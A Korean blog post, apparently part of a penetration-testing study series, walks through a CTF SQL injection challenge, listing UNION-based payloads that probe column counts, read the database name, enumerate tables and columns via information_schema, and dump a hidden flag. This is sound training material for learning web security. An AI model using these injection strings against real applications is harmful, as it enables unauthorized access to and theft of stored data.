[모의해킹 스터디] CTF - SQL Injection 1

바울·2024년 12월 2일
0

모의해킹 스터디

목록 보기
14/40

문제

숨겨진 데이터를 찾는 문제이다.


풀이

초기 화면을 살펴보면 4개의 유저 정보와 검색할 수 있는 입력란이 있다. 우리의 목표는 숨겨진 flag를 찾아야 하기 때문에 이전 글에 포스팅한 것처럼 첫 번째로 sql injection 포인트를 찾아보자.

normaltic' and '1'='1' #

해당 값을 주입 시에 아무 문제 없이 같은 값이 출력되는 것으로 보아 query를 사용할 수 있다는 것을 알 수 있다. 이제 몇 개의 column을 사용하는지 확인해 보자.

column 수를 하나씩 늘려보자.

normaltic' union select 1 # X
normaltic' union select 1,2,3,4,5 # X
normaltic' union select 1,2,3,4 # O

column 수가 4개일 경우 값이 나오는 걸 볼 수 있다. 서버에서 작성해둔 column이 총 4개라는 것이다. 이제 DB 정보를 추출해 보자!

normaltic' union select 1,database(),3,4 #

2번째 column에 database()를 작성했으므로 level에 db가 나오는 걸 알 수 있다. db 이름은 sqli_1이다. 이제 table 이름을 찾아보자!

normaltic' union select 1,table_name,3,4 from information_schema.tables where table_schema = 'sqli_1' #

총 3개의 table이 나왔다! 제일 의심스러운 flag_table부터 column을 확인해 보자.

normaltic' union select 1,column_name,3,4 from information_schema.columns where table_name = 'flag_table' #

flag라는 column을 찾았다! 안에 있는 데이터를 확인해 보자!

normaltic' union select 1,flag,3,4 from flag_table #

안에 있는 flag 값을 획득할 수 있다!

0개의 댓글